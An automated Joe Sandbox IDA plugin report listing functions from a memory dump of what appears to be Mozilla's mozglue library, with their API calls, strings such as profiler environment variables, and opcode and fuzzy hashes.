Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: f4ba303b48c79ba575bfe3e3c0ba2d3e1c515b84874216ac1dd35f292cfde279
Instruction ID: e0e119fa18cdfd38a84a9ba83ad86fbab1aa4b3cb6390fec26da9501e2d84885
Opcode Fuzzy Hash: f4ba303b48c79ba575bfe3e3c0ba2d3e1c515b84874216ac1dd35f292cfde279
Instruction Fuzzy Hash: A561E431F16606CFCB24CE69C889B6E77B5BF95318F294139E924A7B84D730D900C7A1

Function 6C9748E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6C9B483A,?), ref: 6C974ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6C9B483A,?), ref: 6C974AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6C9B483A,?), ref: 6C974A82

Part of subcall function 6C98CA10: mozalloc_abort.MOZGLUE(?), ref: 6C98CAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6C9B483A,?), ref: 6C974A97
moz_xmalloc.MOZGLUE(15D4E801,?,6C9B483A,?), ref: 6C974A35

Part of subcall function 6C98CA10: malloc.MOZGLUE(?), ref: 6C98CA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6C9B483A,?), ref: 6C974A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6C9B483A,?), ref: 6C974AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6C9B483A,?), ref: 6C974B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6C9B483A,?), ref: 6C974B2C

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: caf66526ca9d6737eea05b0f1a8f6037c8146d95ccc8c2be01a70f27ba642b1e
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: FB715AB19017069FCB64CF68C480AAAB7F5FF28308B104A3ED55A9BB51E731E955CF90

Function 6C9C9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9C8273), ref: 6C9C9D65
free.MOZGLUE(6C9C8273,?), ref: 6C9C9D7C
free.MOZGLUE(?,?), ref: 6C9C9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9C9E0F
free.MOZGLUE(6C9C946B,?,?), ref: 6C9C9E24
free.MOZGLUE(?,?,?), ref: 6C9C9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9C9EC8
free.MOZGLUE(6C9C946B,?,?,?), ref: 6C9C9EDF
free.MOZGLUE(?,?,?,?), ref: 6C9C9EF5

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: a3c5dbb3baca33e6d9aa2f38104fe0f1eedc852f977dfe6db2bbf211a989cf59
Instruction ID: b19c263ef28d9fbfc2a2f4a1d03f45906c2665652ded7cc594133fa0f392fcfe
Opcode Fuzzy Hash: a3c5dbb3baca33e6d9aa2f38104fe0f1eedc852f977dfe6db2bbf211a989cf59
Instruction Fuzzy Hash: 0F71B1B0A09B419BC712CF58C48055BF3F4FFA9319B45861DE85A5BB02EB31E885CBD2

Function 6C9CDDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C9CDDCF

Part of subcall function 6C9AFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9AFA4B

Part of subcall function 6C9C90E0: free.MOZGLUE(?,00000000,?,?,6C9CDEDB), ref: 6C9C90FF
Part of subcall function 6C9C90E0: free.MOZGLUE(?,00000000,?,?,6C9CDEDB), ref: 6C9C9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9CDE0D
free.MOZGLUE(00000000), ref: 6C9CDE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9CDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9CDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9CDEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C9BDEFD,?,6C984A68), ref: 6C9CDF32

Part of subcall function 6C9CDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C9CDB86
Part of subcall function 6C9CDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C9CDC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C9BDEFD,?,6C984A68), ref: 6C9CDF65
free.MOZGLUE(?), ref: 6C9CDF80

Part of subcall function 6C995E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C995EDB
Part of subcall function 6C995E90: memset.VCRUNTIME140(6C9D7765,000000E5,55CCCCCC), ref: 6C995F27
Part of subcall function 6C995E90: LeaveCriticalSection.KERNEL32(?), ref: 6C995FB2

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: df6c06a99389f1644f29743a8a35065613889a053c81d61bb58bd14be7d1fa50
Instruction ID: 1bd923fc703d784883359529fad034169505719e344e0caa413c644bdb0fe6f7
Opcode Fuzzy Hash: df6c06a99389f1644f29743a8a35065613889a053c81d61bb58bd14be7d1fa50
Instruction Fuzzy Hash: 3A51C3737456019BD7219B28D8806EFB3B6BFA1318F9A011CD85A53B00DB31F91ACB93

Function 6C9D5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C9D5C8C,?,6C9AE829), ref: 6C9D5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C9D5C8C,?,6C9AE829), ref: 6C9D5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C9D5C8C,?,6C9AE829), ref: 6C9D5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C9D5C8C,?,6C9AE829), ref: 6C9D5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C9D5C8C,?,6C9AE829), ref: 6C9D5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C9D5C8C,?,6C9AE829), ref: 6C9D5DC9
std::_Facet_Register.LIBCPMT ref: 6C9D5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C9D5C8C,?,6C9AE829), ref: 6C9D5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C9D5C8C,?,6C9AE829), ref: 6C9D5E45

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 968d035562db4e2599f3bd2a74afa75230a2f083fd6cc64aea4fdf3397f6becf
Instruction ID: 49f0e32378e246294492af363041451062ead8ecd322cb347f20babf7aacbedb
Opcode Fuzzy Hash: 968d035562db4e2599f3bd2a74afa75230a2f083fd6cc64aea4fdf3397f6becf
Instruction Fuzzy Hash: 414192B07043059FDB00EFA5C898AAE77B9EF59358F158068D516AB791DB30EC05CB61

Function 6C9ACC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C9731A7), ref: 6C9ACDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C9ACFA4, 6C9ACFB8
<jemalloc>, xrefs: 6C9ACF9F, 6C9ACFB3

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 79731a174bf88bb1efe4ef273d94373a2bd38ca5424b2c30c9b2060880105214
Instruction ID: 32bf53c81663cf94a488fc0215d41535638d393e2a23352e15188fdb58653a16
Opcode Fuzzy Hash: 79731a174bf88bb1efe4ef273d94373a2bd38ca5424b2c30c9b2060880105214
Instruction Fuzzy Hash: 3D31CA707452055BFF10AFE58D45B6E7B79BB45B18F304018F524AFAC0DB72D9128BA1

Function 6C97ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C97F100: LoadLibraryW.KERNEL32(shell32,?,6C9ED020), ref: 6C97F122
Part of subcall function 6C97F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C97F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C97ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C97EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C97EDCC
CreateFileW.KERNEL32 ref: 6C97EE08
free.MOZGLUE(00000000), ref: 6C97EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C97EE32

Part of subcall function 6C97EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C97EBB5
Part of subcall function 6C97EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C9AD7F3), ref: 6C97EBC3
Part of subcall function 6C97EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C9AD7F3), ref: 6C97EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C97EDC1

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 84393c70f8bf6a939486ad056d95d08f6e43d697819cfe682b1ab5aa3f800a02
Instruction ID: 35e9695562c74eb83331751298012b3fe86b9d6c25bafd130b51d3e2e86f8142
Opcode Fuzzy Hash: 84393c70f8bf6a939486ad056d95d08f6e43d697819cfe682b1ab5aa3f800a02
Instruction Fuzzy Hash: 9351E071D06204DFDB21DF68D9416EEB7B4AF69318F04892DE8556B740E730E948C7B2

Function 6C9EA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9EA565

Part of subcall function 6C9EA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9EA4BE
Part of subcall function 6C9EA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C9EA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9EA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C9EA6B6

Strings

z, xrefs: 6C9EA6AE
0, xrefs: 6C9EA5FB

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 6f967687d326fbe45d4fe3d1f0023c7573bfa4f4b21fdffd4d4720f1b8bf5407
Instruction ID: 0ac7255640598212f66e510e5607129a6e5a7c18888c089b59a32e2420377626
Opcode Fuzzy Hash: 6f967687d326fbe45d4fe3d1f0023c7573bfa4f4b21fdffd4d4720f1b8bf5407
Instruction Fuzzy Hash: 114129719097459FC341DF28C480A9FBBF5BFAA354F408A2EF49987650EB30D549CB92

Function 6C9778C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6C9F008B), ref: 6C977B89
free.MOZGLUE(?,6C9F008B), ref: 6C977BAC

Part of subcall function 6C9778C0: free.MOZGLUE(?,6C9F008B), ref: 6C977BCF

free.MOZGLUE(?,6C9F008B), ref: 6C977BF2

Part of subcall function 6C995E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C995EDB
Part of subcall function 6C995E90: memset.VCRUNTIME140(6C9D7765,000000E5,55CCCCCC), ref: 6C995F27
Part of subcall function 6C995E90: LeaveCriticalSection.KERNEL32(?), ref: 6C995FB2

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: 9a4fc23c9e73798e6ff5bcaa32cc6f65952e934e4acad2c11cf0041a3efb45e6
Instruction ID: d09c61599a0c0e442ea4947cbb95b454431d238c2d268705b739f093bbe74714
Opcode Fuzzy Hash: 9a4fc23c9e73798e6ff5bcaa32cc6f65952e934e4acad2c11cf0041a3efb45e6
Instruction Fuzzy Hash: 26C1B231E021298BEB358B68CD90BADB772FF51314F1507A9D41AABBC0D731DE858B61

Function 6C9B9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C9AAB89: EnterCriticalSection.KERNEL32(6C9FE370,?,?,?,6C9734DE,6C9FF6CC,?,?,?,?,?,?,?,6C973284), ref: 6C9AAB94
Part of subcall function 6C9AAB89: LeaveCriticalSection.KERNEL32(6C9FE370,?,6C9734DE,6C9FF6CC,?,?,?,?,?,?,?,6C973284,?,?,6C9956F6), ref: 6C9AABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C984A68), ref: 6C9B945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9B9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9B9482
__Init_thread_footer.LIBCMT ref: 6C9B949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C9B946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C9B947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C9B9459

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: f14b6da31e205c3ebe89ad1a81d014e2009a16a2e47a1356d2c248339f59398b
Instruction ID: 9d0a081e31596349fdbe0079f5c250a646fe893356672b9f9d0925ef53331590
Opcode Fuzzy Hash: f14b6da31e205c3ebe89ad1a81d014e2009a16a2e47a1356d2c248339f59398b
Instruction Fuzzy Hash: 91014C70A041009BDF109B5CEC48A4633FA9B5632CF154537DC6AD6B51D731D45ACA9B

Function 6C9C0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9C0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9C0F88
GetCurrentThreadId.KERNEL32 ref: 6C9C0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C9C1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C9C10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C9C114B

Part of subcall function 6C9B8AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C9D1563), ref: 6C9B8BD5

free.MOZGLUE(?), ref: 6C9C1174
free.MOZGLUE(?), ref: 6C9C1186

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: ea623df38aafae22e965a2014335c94fd39bdbdeec1cbb84f768e60bb092b01e
Instruction ID: da24f546a6c1a1f19e18d51b840354d6c175ee0d4d44d6529eb2fe18e32cf808
Opcode Fuzzy Hash: ea623df38aafae22e965a2014335c94fd39bdbdeec1cbb84f768e60bb092b01e
Instruction Fuzzy Hash: 2361C0756083409BDB10CF24D88079AB7F5BFEA308F14991DE89947711EB31E989CB83

Function 6C97B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C97B61E,?,?,?,?,?,00000000), ref: 6C97B6AC

Part of subcall function 6C98CA10: malloc.MOZGLUE(?), ref: 6C98CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C97B61E,?,?,?,?,?,00000000), ref: 6C97B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C97B61E,?,?,?,?,?,00000000), ref: 6C97B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C97B61E,?,?,?,?,?,00000000), ref: 6C97B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C97B61E,?,?,?,?,?,00000000), ref: 6C97B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C97B61E), ref: 6C97B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C97B61E,?,?,?,?,?,00000000), ref: 6C97B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C97B61E,?,?,?,?,?,00000000), ref: 6C97B79A

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 206aaa143e1a8f5c30bb1a010843da7fd27a259a369e25c508e829b41e0a4ed6
Instruction ID: 267d683557dfdb8c1c1dff1ba80a47e510ea48a0431acb6d77b8df93edadc76b
Opcode Fuzzy Hash: 206aaa143e1a8f5c30bb1a010843da7fd27a259a369e25c508e829b41e0a4ed6
Instruction Fuzzy Hash: 5141C7B2D011159FCB14DF68DC905AFB7B9BF64324F250629E825E7B80E731E90487E1

Function 6C97EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C9F5104), ref: 6C97EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C97EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C97EFEC
free.MOZGLUE(?), ref: 6C97F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C97F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C97F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C97F065
moz_xmalloc.MOZGLUE ref: 6C97F072

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 2fe206685a35d7fc7e9573b604f7564498d821da9d07c3a93030c76626d89edc
Instruction ID: 021965cfaa98b48be0feb791904023c0b44ab2de48b701861abd6e3028bd61f5
Opcode Fuzzy Hash: 2fe206685a35d7fc7e9573b604f7564498d821da9d07c3a93030c76626d89edc
Instruction Fuzzy Hash: C541E7B1A012059FCB18CF68D8809BF7769BFA8318B244628E815DB794EB31E915C7E1

Function 6C9EB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C9EB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C9EB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C9EB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C9EB5F4
__Init_thread_footer.LIBCMT ref: 6C9EB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C9EB61F
std::_Facet_Register.LIBCPMT ref: 6C9EB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9EB655

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

